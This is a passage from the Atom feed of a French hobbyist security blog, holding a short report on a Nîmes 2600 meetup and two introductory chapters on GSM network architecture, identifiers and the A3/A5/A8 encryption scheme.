rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/2031252747726573377'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2010/07/scite-text-editor-local-bof.html' title='[*] Scite Text Editor 1.76 PoC : Local BoF vulnerability   ( 0 - Days )'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-1970286046374690175</id><published>2009-04-05T16:32:00.000+02:00</published><updated>2009-04-05T16:33:55.219+02:00</updated><title type='text'>Résumé du 2600 Nîmes du Samedi 04 Avril</title><content type='html'>&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Le rendez-vous avait lieu a 14h devant un centre commercial en centre ville le temp que tout le monde soit présent et hop , direction un petit bistro simpa pour lancer ce petit meet .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Les discussions se sont trés vite dirigées sur Hadopi avec une petite vidéo simpathique a l&#39;appuis , l&#39;actualité et les moyens alternatifs concernants le P2P (entre autre), l&#39;avenir de freenet , silc  ...enfin , divers moyens de communications et partages sécurisés.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Aprés quelques cafés, nous abordons l&#39;insécurité de certains moyens de paiement en ligne puis au moment ou les bieres arrivent a notre table, retour sur l&#39;anonymat avec une breve présentation sur l&#39;ip spoofing via un petit utilitaire  .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Viens ensuite l&#39;architecture des réseaux de téléphonie mobile ,le phreaking gsm   nous poursuivons par Hebiko qui nous présente de la doc intéréssante sur le carding .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; De fil en aiguille les discours s&#39;enchainent  , documents a l&#39;appuis jusqu&#39;a la fin de ce petit meet fort sympathique malgrés le petit comité présent (4personnes).&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Enfin ,nous nous  dirigeons vers la sortie avec un petit &quot; au mois prochain &quot; qui fait plaisir a entendre pour ce 2k6 Nîmois qui peu etre commencerait a prendre ? Espérons-le :-} .&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/1970286046374690175/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/1970286046374690175' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1970286046374690175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1970286046374690175'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2009/04/resume-du-2600-nimes-du-samedi-04-avril.html' title='Résumé du 2600 Nîmes du Samedi 04 Avril'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-5045601014470919654</id><published>2009-03-30T16:24:00.000+02:00</published><updated>2009-03-30T18:07:46.528+02:00</updated><title type='text'>Réseaux GSM : chapitre II</title><content type='html'>&lt;div style=&quot;text-align: left; color: rgb(204, 204, 204);&quot;&gt;Salut , me revoila , je poursuis mon aventure  ....&lt;br /&gt;&lt;br /&gt;Cette fois -ci nous allons nous  intérésser a des choses bien plus passionante (fallait bien avoir les bases avant quand meme , chaque choses en son temp :-P ).&lt;br /&gt;&lt;br /&gt;Allez , c&#39;est reparti :&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center; color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;font-weight: bold; color: rgb(255, 0, 0);&quot;&gt;[+] Etude simplifiée des fréquences de travail du GSM : &lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Le systeme GSM/DCS utilise 2 fréquences :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;une autour des 900 MHz (GSM)  et l’autre autour de 1,8 GHz (DCS).&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Chacune est elle meme divisée en 2 sous bandes servantent l’une pour le transfert d’informations entre le mobile et la station de base &lt;span style=&quot;color: rgb(255, 153, 102);&quot;&gt;( voie montante )&lt;/span&gt; , et  l’autre pour la liaison entre la station de base et le mobile &lt;span style=&quot;color: rgb(255, 153, 102);&quot;&gt;( voie descendante )&lt;/span&gt; :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;            &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; # bande EGSM étendue&lt;/span&gt; ( bande de largeur totale 35 MHz )&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     - de 880 à 915 MHz du mobile vers la base (voie montante)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     - de 925 à 960 MHz de la base vers le mobile (voie descendante)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 255, 204);&quot;&gt;                                     + écart entre les deux fréquences: 45 MHz&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 255, 204);&quot;&gt;                                     - 174 canaux espacés de 200 kHz&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;            &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; # bande DCS&lt;/span&gt; ( bande de largeur totale 75 MHz )&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     - de 1710 à 1785 MHz du mobile vers la base (voie montante)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     - de 1805 à 1880 MHz de la base vers le mobile (voie descendante)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                     &lt;span style=&quot;color: rgb(255, 255, 153);&quot;&gt;+ écart entre les deux fréquences: 95 MHz&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 255, 153);&quot;&gt;                                     - 374 canaux espacés de 200 kHz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center; color: rgb(204, 204, 204);&quot;&gt;L&#39;utilisation de fréquences moins élevées augmenterait sensiblement la portée des stations de base.&lt;br /&gt;Ainsi en 450 MHz, leur portée serait près du double de ce qu&#39;elle serait en 900 MHz.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Ericsson et Nokia travaillent à la mise au point d&#39;une norme GSM fonctionnant en 450 MHz ou en 480 MHz.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Dans la bande 450, les fréquences utilisées seraient 450,4 à 457,6 MHz pour les liaisons montantes (GSM vers station de base) et 460,4 à 467,6 MHz pour les liaisons descendantes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Une BTS émet en permanence des informations sur son canal BCH (Broadcast Channel appelé aussi voie balise) constituant ainsi un lien permanent entre  mobile et station de base à partir de la mise en route du mobile jusqu’à sa mise hors service, qu’il soit en communication ou non.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center; color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;font-weight: bold; color: rgb(255, 0, 0);&quot;&gt;[+] Adresssage , Confidentialité et Sécurité de la transmission sur la voie radio (interface Um):&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: right; color: rgb(204, 204, 204);&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;                       &lt;span style=&quot;color: rgb(51, 255, 51); font-style: italic;&quot;&gt;-Pré-requis:&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 255, 255);&quot;&gt;1) I.M.S.I  :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 255, 51);&quot;&gt;*&lt;/span&gt;Numéro (identité) d&#39;abonné se trouvant dans la SIM d&#39;une part et dans la HLR d&#39;autre part (logique)&lt;br /&gt;IMSI n&#39;est connu qu&#39;a l&#39;intérieur du réseau GSM et doit ( autant que possible) rester secrete (d&#39;ou l&#39;utilisation de TMSI).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 255, 255);&quot;&gt;2) T.M.S.I :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt;Identifiant temporaire codé sur 4 Octets modifié a chaque changement de zone (gérer pas un VLR) .&lt;br /&gt;Le TMSI est utilisé pour identifier le mobile appelé ou appelant lors de l’établissement d’une communication .&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 255, 255);&quot;&gt;3) M.S.I.S.D.N :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt;Numéro de l&#39;abonné . C&#39;est la seule donnée concernant l&#39;identitée de l&#39;abonné connu hors réseaux GSM .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 255, 255);&quot;&gt; 4) M.S.R.N :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt;Numéro attribué lors de l&#39;établissement d&#39;un appel permettant d&#39;acheminer les appels via les commutateurs (MSC)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 255, 255);&quot;&gt;5) I.M.E.I : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt;Numéro d&#39;équipement mis en mémoire dans le portable a la fabrication , c&#39;est donc l&#39;identifiant de l&#39;appareil .&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;L&#39;IMSI est transmis a la mise sous tension du mobile afin d&#39;éviter de l&#39;emmettre fréquemment de cette maniere il est plus difficile de l&#39;intercepter.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Une fois l&#39;IMSI transmis , les TMSI successives du mobile seront transmises. Ce n’est qu’en cas de perte du TMSI ou lorsque le VLR courant ne la reconnaît pas (par exemple après une panne) que l’IMSI peut être retransmise.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;En cas d&#39;echec lors de la vérification d&#39;un de ces identifiants ,on interdit l&#39;accés aux services.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;  L’allocation d’une nouvelle TMSI est faite au minimum à chaque changement de VLR, et suivant le choix de l’opérateur, à chaque intervention du mobile. Son envoi à la station mobile a lieu en mode chiffré . &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;  &lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center; color: rgb(204, 204, 204);&quot;&gt; &lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;font-weight: bold; color: rgb(51, 255, 255);&quot;&gt;Le chiffrement GSM sur la voie radio (interface Um):&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Pour assurer la confidentialité de leurs abonnés , les opérateurs ont recours au éléments suivant :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; -Nombres aléatoire &lt;span style=&quot;color: rgb(255, 204, 102);&quot;&gt;RAND&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 204, 102);&quot;&gt; (128 Bits&lt;/span&gt;&lt;/span&gt;)&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; -une clée appellée &lt;span style=&quot;color: rgb(255, 204, 102);&quot;&gt;Ki&lt;/span&gt; (128 Bits) pour l&#39;authentification et la création d&#39;une seconde clée &lt;span style=&quot;color: rgb(255, 204, 102);&quot;&gt;Kc&lt;/span&gt; ( en 64 Bits) (la clée Ki,stockée dans la carte SIM et dans l&#39;AUC coté réseaux , est attribuée lors de l&#39;abonnement avec l&#39;IMSI)   &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; -un algorithme &lt;span style=&quot;color: rgb(255, 204, 102);&quot;&gt;A3&lt;/span&gt; fournissant le nombre &lt;span style=&quot;color: rgb(255, 204, 102);&quot;&gt;SRES (32 Bits)&lt;/span&gt; à partir des arguments de RAND et de la clé Ki (contruction SRES)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; -un algorithme &lt;span style=&quot;color: rgb(255, 204, 102);&quot;&gt;A8&lt;/span&gt; pour la détermination de la clé Kc à partir des arguments de RAND et Ki (construction clée Kc)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; -un algorithme &lt;span style=&quot;color: rgb(255, 204, 102);&quot;&gt;A5&lt;/span&gt; pour le chiffrement / déchiffrement des données à partir de la clé Kc (chiffrement a proprement parlé)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;span style=&quot;font-style: italic;&quot;&gt;Chaque abonné utilise une clé Ki propre. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204); font-style: italic;&quot;&gt; Les algorithmes A3, A5 et A8 sont quant à eux les mêmes pour tous les abonnés d’un même réseau.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;-- Schéma Simplifié  -- &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify; color: rgb(204, 204, 204);&quot;&gt;      &lt;span style=&quot;font-weight: bold; font-style: italic; color: rgb(255, 0, 0);&quot;&gt;RAND(128Bits) -&gt;SRES=A3[Rand(128Bits),Ki(128Bits)] -&gt; Kc=A8[Rand(128Bits),Ki(128 Bits)] -&gt;      [N° de Trames  en 22 Bits, Clée Kc(64 Bits)]  -&gt;    Algorithme A5  -&gt;    Trames Chiffrées&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Le centre d’authentification (AUC) stocke ainsi :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; -l’algorithme d’authentification A3,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; -l’algorithme de génération de la clé de chiffrement A8 &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; -les clés Ki des différents abonnés du réseau GSM.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Le HLR stocke les (Kc, RAND, SRES) pour chaque IMSI.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Dans le VLR les (Kc, RAND, SRES) sont enregistrés pour chaque IMSI avec les couples TMSI - IMSI .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;La BTS quand a elle ,stocke l’algorithme de chiffrement A5 pour les données usager et pour les données de signalisation.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center; color: rgb(204, 204, 204);&quot;&gt;  &lt;span style=&quot;font-style: italic; color: rgb(255, 255, 255);&quot;&gt;La station mobile (MS) quand a elle , contient dans la carte SIM de l’abonné : l’algorithme d’authentification A3, l’algorithme de chiffrement A5, l’algorithme de génération des clés de chiffrements A8, la clé d’authentification individuelle de l’utilisateur Ki, la clé de chiffrement Kc, le numéro de séquence de la clé de chiffrement et le TMSI. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Voila actuellement ou j&#39;en suis , je pense que  maintenant il commence a y avoir matière a réflexions et par conséquent je vous donne rendez-vous ici d&#39;ici quelques temps pour de nouvelles aventures qui j&#39;espère vous plaisent et vous permettent autant qu&#39;a moi de découvrir de nouvelles choses .&lt;br /&gt;&lt;br /&gt;Cya  \o&gt;&lt;br /&gt;&lt;br /&gt;Liens utiles:&lt;br /&gt;&lt;a href=&quot;http://fr.wikipedia.org/wiki/A5/1&quot;&gt;http://fr.wikipedia.org/wiki/A5/1&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://internetmobile.falorni.fr/publications/securite-architecture-gsm/&quot;&gt;http://internetmobile.falorni.fr/publications/securite-architecture-gsm/&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/5045601014470919654/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/5045601014470919654' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/5045601014470919654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/5045601014470919654'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2009/03/reseaux-gsm-chapitre-ii.html' title='Réseaux GSM : chapitre II'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-5021823170881518617</id><published>2009-03-18T17:25:00.000+01:00</published><updated>2009-03-18T18:13:30.125+01:00</updated><title type='text'>Réseaux GSM : chapitre I</title><content type='html'>&lt;div style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Salut a tous !&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Alors voila , j&#39;ai décider de me lancer dans une nouvelle aventure : l&#39;univers des réseaux de télécommunication mobile ou GSM (Global System for Mobile communications) .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Voici donc une première approche afin de comprendre un peu mieux les bases de ce monde pour ma part encore trop peu exploré jusqu&#39;alors , et pourtant incontournable et qui plus est , en pleine expansion !&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 255);&quot;&gt;Pré-requis&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: rgb(255, 255, 255);&quot;&gt;Zone cellulaire :&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Zone couverte&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Les cellules sont plus ou moins grandes en fonction du nombre potentiel d’abonnés qu’elles doivent gérer .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Ainsi , les zones de couverture des cellules voient leur taille diminuer  ( + d&#39;abonnés == cellules plus petites )  pour garantir une large bande passante aux&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;utilisateurs.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; color: rgb(255, 255, 255);&quot;&gt;Routage:&lt;/span&gt; &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Construction d’un chemin de communication entre deux téléphones mobiles.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;          &lt;span style=&quot;font-weight: bold;&quot;&gt;                &lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-weight: bold; color: rgb(102, 255, 255);&quot;&gt;&lt;span style=&quot;font-style: italic;&quot;&gt; [+] Architecture d&#39;un Réseau GSM&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;           &lt;span style=&quot;font-weight: bold; color: rgb(51, 255, 255);&quot;&gt;1) Le MS :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Dans réseau GSM, le terminal mobile MS (Mobile Segment)a trois aspects :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;*&lt;/span&gt; Le téléphone de voiture&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;*&lt;/span&gt; Le portable d&#39;une puissance de 8 W&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;*&lt;/span&gt; Le portatif (terminal de poche), d&#39;un poids compris entre 150 et 350 grammes et d&#39;une puissance d&#39;environ 2W&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic; color: rgb(153, 153, 255);&quot;&gt;Le terminal est scindé en deux parties :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt; Le combiné téléphonique identifié par un numéro unique : l&#39;IMEI (International Mobile Equipement Identity) qui est l&#39;identité internationale spécifique à chaque combiné.&lt;br /&gt;En pratique ce numéro n&#39;est que peu utilisé&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt; La carte SIM (Subscriber Identity Module)  et qui contient les informations suivantes :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;         &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;o-&lt;/span&gt; Le numéro d&#39;identification temporaire attribué par le réseau qui permet la localisation et qui est utilisé sur les canaux radio (TMSI Temporary Station Identity)&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;         &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;o-&lt;/span&gt; La liste des fréquences à écouter pour identifier la meilleure Station de Base (BTS)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(255, 153, 102);&quot;&gt;o-&lt;/span&gt; Les algorithmes de chiffrement&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Cette liste n&#39;est pas exhaustive.    D&#39;autres informations sont stockées sur cette carte, tel que le code permettant de la débloquer :&lt;br /&gt;&lt;br /&gt;une carte SIM se bloque automatiquement après un certain nombre d&#39;erreurs sur le code entré par 